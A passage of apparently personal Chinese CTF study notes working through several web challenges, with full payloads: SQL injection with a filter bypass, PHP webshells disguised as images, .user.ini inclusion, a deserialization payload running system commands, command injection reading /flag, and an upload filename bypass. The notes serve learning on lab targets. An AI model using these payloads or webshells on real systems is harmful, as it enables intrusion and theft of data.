updatexml(1,concat(%27!%27,(select(group_concat(table_name))from(information_schema.tables))),1)--
//[*] query error! (XPATH syntax error: '!users,ALL_PLUGINS,APPLICABLE_RO')

updatexml(1,concat(%27!%27,(select(group_concat(column_name))from(information_schema.columns))),1)--
//[*] query error! (XPATH syntax error: '!no,username,passwd,data,PLUGIN_')

updatexml(1,concat(%27!%27,(select(group_concat(no,username,passwd,data))from(users))),1)--
//[*] query error! (XPATH syntax error: '!1zhong3c9909afec25354d551dae215')
//经典的报错注入回显不完全,这里的passwd应该是就是被加密过的,不然原密码是'123'
//注意看了一下网上的wp,好像过滤了'union select',使用'union/**/select'可以绕过

1 order by 4 --
//知道了行列为4

-1 union/**/select 1,2,3,4 --
//知道回显位置是2

-1 union/**/select 1,group_concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users --
//1 zhong
3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2
O:8:"UserInfo":3:{s:4:"name";s:5:"zhong";s:3:"age";i:123;s:4:"blog";s:21:"http://gwwafz.online/";}

这是时候如wp说的,在data里构造一条读取本地flag的链接即可

1
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"zhong";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --

网页会在blog的区域回显blog链接爬取到的页面,改为file://可以直接访问本地的flag.php源码,所以在f12中查看blog窗口元素即可看,可能是它这个题目的原因,正常的blog也无法显示
只能在源码查看了

解法二:
时用sql的load_file()函数,直接读取flag.php
注入时传入:

1
-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4 --+

notice

file:///
中是有3个/

还有,为什么传入sql语句
-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ from users –
就能访问到flag.php
首先select语句若是没有搜索到东西会自己变成自己添加的数据
所以-1没搜索到,会等于自己新建一条数据发给后端语句
原语句:

-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ from users –

传入db后db会处理好然后将结果返回语句,其中union select就相当于新建了一条sql查询结果返回

所以后端源码接收到的sql select 数据就为:

1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

然后将其中data反序列化(看源码)后执行
其中1,2,3为另外3条column,改data那条column即可

然后刚才扫目录时发现了有个
db.php
可以猜测存在数据库,所以对no进行注入尝试

ssrf漏洞:
我觉得是
利用网站对外访问来进行攻击
比如这题有curl类的函数

看nssctf的标签有ssrf
第一次做ssrf的题目


title: note-34
date: 2025-05-11 01:37:11
tags: web

Mini L-CTF GuessOneGuess

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
module.exports = function(io) {
io.on('connection', (socket) => {
let targetNumber = Math.floor(Math.random() * 100) + 1;
let guessCount = 0;
let totalScore = 0;
const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}";
console.log(`新连接 - 目标数字: ${targetNumber}`);


socket.emit('game-message', {
type: 'welcome',
message: '猜一个1-100之间的数字!',
score: totalScore
});


socket.on('guess', (data) => {
try {
console.log(totalScore);
const guess = parseInt(data.value);

if (isNaN(guess)) {
throw new Error('请输入有效数字');
}

if (guess < 1 || guess > 100) {
throw new Error('请输入1-100之间的数字');
}

guessCount++;

if (guess === targetNumber) {

const currentScore = Math.floor(100 / Math.pow(2, guessCount - 1));
totalScore += currentScore;

let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`;
let showFlag = false;

if (totalScore > 1.7976931348623157e308) {
message += `\n🏴 ${FLAG}`;
showFlag = true;
}

socket.emit('game-message', {
type: 'result',
win: true,
message: message,
score: totalScore,
showFlag: showFlag,
currentScore: currentScore
});


targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
guessCount = 0;
} else {
if (guessCount >= 100) {
console.log("100次未猜中!将扣除当前分数并重置");
socket.emit('punishment', {
message: "100次未猜中!将扣除当前分数并重置",
});
return;
}
socket.emit('game-message', {
type: 'result',
win: false,
message: guess < targetNumber ? '太小了!' : '太大了!',
score: totalScore
});
}
} catch (err) {
socket.emit('game-message', {
type: 'error',
message: err.message,
score: totalScore
});
}
});
socket.on('punishment-response', (data) => {
totalScore -= data.score;
guessCount = 0;
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'result',
win: true,
message: "扣除分数并重置",
score: totalScore,
showFlag: false,
});

});
});
};

注意到最后有一项猜错一百次后删除分数的函数
这个分数是data,为上传的data

1
totalScore -= data.score;

我们上传一个负数,根据源码里的减去,就能实现负负得正,获得足够分数
之后的totalScore是足够分数来输出flag的
此时再猜对一次触发输出flag即可

操作过程:
输入1 然后bp抓包重发99次,
在99次时把上传的分数改为:

1
'42["punishment-response",{"score":-1e309}]'

此时服务器里的数组已经达到发送flag的数值了,但是要触发分数检测然后输出flag需要猜对一次,
所以再猜对一次即可

实测直接使用punishment事件就可以直接上传分数了
不用错一百次

Mini L_CTF 麦霸评分

题目给了源码
看到源码里有获取原音频的地址:
/original.wav

提交录音的地址:
/compare-recording

那直接把原音提交即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

# 1. 直接请求原版音频(替换为实际音频路径)
audio_url = "http://127.0.0.1:37563/original.wav" #
audio = requests.get(audio_url).content

# 2. 伪装成用户录音提交
r = requests.post(
"http://127.0.0.1:37563/compare-recording", #
files={"audio": ("recording.wav", audio)}
)
a=requests.get(audio_url).headers

# 3. 提取flag
print(r.text)

给deepseek一眼顶针了,在浏览器控制台运行就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
async function getFlag() {
// 替换成上一步获取的真实URL(示例:/original.wav?sign=abc123)
const serverPath = '/original.wav?sign=abc123';

// 直接使用服务器路径获取音频
const response = await fetch(serverPath);
const blob = await response.blob();

// 提交到评分接口
const formData = new FormData();
formData.append('audio', blob, 'recording.wav');

const res = await fetch('/compare-recording', { method: 'POST', body: formData });
const data = await res.json();
if (data.flag) alert('FLAG: ' + data.flag);
}

// 添加冷却时间绕过
setTimeout(getFlag, 11000); // 等待11秒后执行

Mini L-CTF 吃豆人

查看源码,得到上传的地址,
直接传

1
2
3
4
5
6
7
POST /submit_score HTTP/1.1
Host: http://127.0.0.1:29530/
Content-type:application/json

{
"score":50000
}

拿到flag

前端可以自己改,还有注释,有很多方法解
比如前端找到吃豆逻辑吧吃一个蓝豆改为100000000直接拿到

[SUCTF 2019]CheckIn

传正常图片提示里面有<?不给传,传码看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 407
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcj
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="fileUpload"; filename="php.jpg"
Content-Type: image/jpg

<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryE46PLUBJtp0zgdcj--

提示:
exif_imagetype:not image!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

FFD8FF
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary8mJUC80q1aGOXScd--

提示:
exif_imagetype:not image!

这次换个文件头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5s
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary3I0b63Tc4FZzgA5s--

回显

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(9) "php2.jpg" }

那目录就是
/uploads/9987df285bb375eda68448315c5656e5/php2.jpg
蚂蚁又是连不上,但是这次是nginx服务器啊,
那可能就是user.ini文件了
提交:

1
2
GIF89a
auto_prepend_file = php2.jpg

回显:

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" [4]=> string(9) "php2.jpg" }

这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件,看回显我上传的目录上是有一个index.php的,所以能用.user.ini的办法
蚂蚁连目录上的index.php即可
flag{e8b4a853-b79a-4497-912e-389a9fda03ba}

[网鼎杯 2020 朱雀组]phpweb

开门见孙笑川,然后会自己刷新,每次刷新都爆一样的错误

1
2
date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in <b>/var/www/html/index.php</b> on line <b>24</b><br />
2025-05-07 02:09:32 pm

问一下deepseek:
这个警告意味着PHP在处理日期和时间时没有找到有效的时区设置。

好吧,知道站点真实目录

扫一下目录,啥也没扫到
用bp抓包,发现它要刷新时就会向服务器返回如下请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: b29f3d09-8d9e-4cdd-948e-6cce2ae6d854.node5.buuoj.cn:81
Content-Length: 29
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://b29f3d09-8d9e-4cdd-948e-6cce2ae6d854.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://b29f3d09-8d9e-4cdd-948e-6cce2ae6d854.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

func=date&p=Y-m-d+h%3Ai%3As+a

把date改为flag.php看看

1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'flag.php' not found or invalid function name in /var/www/html/index.php on line 24

把p的值去掉值传func看看

1
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

没见过这种,没思路了
注意到,回显的时间好像符合p参数的格式
Y-m-d+h%3Ai%3As+a
那么尝试一下p参数

1
2
3
4
func=date&p=ls;ls

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
Wednesday12;Wednesday12

没办法了,看wp吧

看好像func和p是能直接执行函数的,p就是参数,我还以为date是一个自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
func=echo&p=./flag

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'echo' not found or invalid function name in /var/www/html/index.php on line 24

func=system&p=ls

Hacker...

func=highlight_file()&p=./flag

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'highlight_file()' not found or invalid function name in /var/www/html/index.php on line 24

func=highlight_file&p=./flag

Warning: highlight_file(./flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

Warning: highlight_file(): Failed opening './flag' for highlighting in /var/www/html/index.php on line 24

func=highlight_file&p=/../../../flag

Warning: highlight_file(/../../../flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

Warning: highlight_file(): Failed opening '/../../../flag' for highlighting in /var/www/html/index.php on line 24

//看来无法进行目录穿越

那就看源码吧
func=highlight_file&p=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

可以看到过滤了一堆函数

1
"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

好像没有file_get_contents() ?

func=file_get_contents;highlight_file&p=flag
//不行

func=file_get_contents&p=/../../../flag

Warning: file_get_contents(/../../../flag.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

不行,看wp说要用反序列化,仔细看一眼源码
有个function __destruct()
改不会是这个?

可这里也没有unserialize 啊
为什么是用反序列化?

原来func就直接传unserialize啊
对哦,它也是php的一个函数

直接传

1
2
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

然后_destruct 就能触发了

就能找到flag位置了

[NISACTF 2022]easyssrf

给一个获取网页快照的功能
那不用猜就是有curl函数
扫一下目录没扫出东西

抓包得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: node7.anna.nssctf.cn:29484
Content-Length: 26
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node7.anna.nssctf.cn:29484
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node7.anna.nssctf.cn:29484/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

url=file%3A%2F%2Findex.php

f12 源码也没有功能源码

输入file:///flag
提示:
都说了这里看不了flag。。但是可以看看提示文件:/fl4g

file:///fl4g

你应该看看除了index.php,是不是还有个ha1x1ux1u.php

file:///ha1x1ux1u.php
不行

在url里直接访问ha1x1ux1u.php
得到:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

不能用file://
但是竟然有file_get_contents()那就能用php伪协议

直接传入:
http://node7.anna.nssctf.cn:29484/ha1x1ux1u.php?file=/flag

就拿到了flag?不用伪协议?

测试了一下,用php伪协议也可以:
?file=php://filter/convert.base64-encode/resource=/flag
回显:
TlNTQ1RGezg4YmE0NWNjLTJlYTEtNGRiNS04MzY1LWMzOTA0MDFiNmQ5N30K

解码就是flag

[LitCTF 2023]导弹迷踪

老规矩,只玩一遍
f12 找到flag
flag字样被改为
F|L|A|G
直接搜搜不到的

[NCTF 2018] 签到题

找了半小时,cookie和请求头里面分别有两个假的flag

真flag在源访问链接
即/index.php的访问标头里

[NSSCTF 2022 Spring Recruit]ezgame

f12 直接找
或者修改前端都行

[LitCTF 2023]Ping

尝试一下ping我的blog,提示只能ping ip地址

试了一下ping 我的服务ip 和 127.0.0.0
都是百分百丢包率

不管了,抓包看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:29540
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node5.anna.nssctf.cn:29540
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.anna.nssctf.cn:29540/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

command=127.0.0.0&ping=ping

改一下看看

1
2
3
4
5
6
7
8
9
command=/&ping=ls

没回显

command=127.0.0.0|ls&ping=ping

/回显:
index.php
upload

试了一下upload目录403

那直接看根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
command=127.0.0.0|ls /&ping=ping

回显:
bin<br>
dev<br>
etc<br>
flag<br>
home<br>
lib<br>
media<br>
mnt<br>
opt<br>
proc<br>
root<br>
run<br>
sbin<br>
srv<br>
sys<br>
tmp<br>
usr<br>
var<br>

那接下来cat /flag就行

1
command=127.0.0.0|cat /flag&ping=ping

拿到flag

TGCTF ezupload

先上传一个正常的jpg

回显

1
2
3
4
5
6
7
{"status_code":403,"msg":"\u7981\u6b62\u4fdd\u5b58\u4e3a\u8be5\u7c7b\u578b\u6587\u4ef6\uff01"}

unicode解码后的意思就是

文件内容包含非法字符,禁止上传!

我不明白

抓包传马看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /upload.php HTTP/1.1
Host: 127.0.0.1:62381
Content-Length: 355
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:62381
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Frc88R0NhJL8adt
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:62381/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary5Frc88R0NhJL8adt
Content-Disposition: form-data; name="name"; filename="shell.jpg"
Content-Type: aimage/jpg

<script language='php'>@eval($_POST[zhong]);</script>
------WebKitFormBoundary5Frc88R0NhJL8adt
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundary5Frc88R0NhJL8adt--

还是不行

扫一下目录
看到有index.php.bak

1
2
3
4
5
[17:07:56] 200 -  419B  - /index.php
[17:07:57] 200 - 419B - /index.php.bak
[17:10:56] 200 - 30B - /upload.php
[17:10:57] 301 - 162B - /uploads -> http://127.0.0.1/uploads/
[17:10:57] 403 - 548B - /uploads/

访问一下uploads/,403,顺便知道了服务端是nginx
那猜测一下会有upload.php.bak
给我猜对了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

经测试,uploads/index.php
回显:
File not found.

并没有404
那应该就能用.user.ini的办法

上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /upload.php HTTP/1.1
Host: 127.0.0.1:62381
Content-Length: 331
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:62381
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMjahAHXakvDQQiYS
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:62381/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryMjahAHXakvDQQiYS
Content-Disposition: form-data; name="name"; filename="shell.jpg"
Content-Type: image/jpg

<script language='php'>@eval($_POST[shell]);
------WebKitFormBoundaryMjahAHXakvDQQiYS
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryMjahAHXakvDQQiYS--

回显:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 08 May 2025 09:24:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.26
Content-Length: 70

{"status_code":200,"msg":"\u6587\u4ef6\u4e0a\u4f20\u6210\u529f\uff01"}

解码后的意思就是成功
文件上传成功!
访问
/uploads/shell.jpg
访问成功!

然后接下来传.user.ini

1
auto_prepend_file = shell.jpg

上传成功
接下来用蚂蚁连
/uploads/index.php
失败?

不对,竟然不用

1
2
<script>包裹,那应该也不用<script>头了
@eval($_POST[shell]);

也不行,
实在没办法了,去看wp,
说是在源码里知道能用name参数来进行目录穿越?

直接传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /upload.php?name=shell.php/. HTTP/1.1
Host: 127.0.0.1:50404
Content-Length: 323
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:50404
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDxKYmUwl8LfJkYfi
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:50404/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryDxKYmUwl8LfJkYfi
Content-Disposition: form-data; name="name"; filename="hello.jpg"
Content-Type: image/jpg

<?php eval($_POST['shell']);?>



------WebKitFormBoundaryDxKYmUwl8LfJkYfi
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryDxKYmUwl8LfJkYfi--

尽然就成功传进去了?
这个是什么构造法?什么原理?
/upload.php?name=hello.php/.

然后蚂蚁直接连
/uploads/shell.php
然后用蚂蚁的终端看环境
env
看到flag

原理是啥,怎么绕过的?

deepseek:

漏洞点:当攻击者通过GET参数name=shell.php/.传递文件名时,pathinfo()解析扩展名的行为异常。
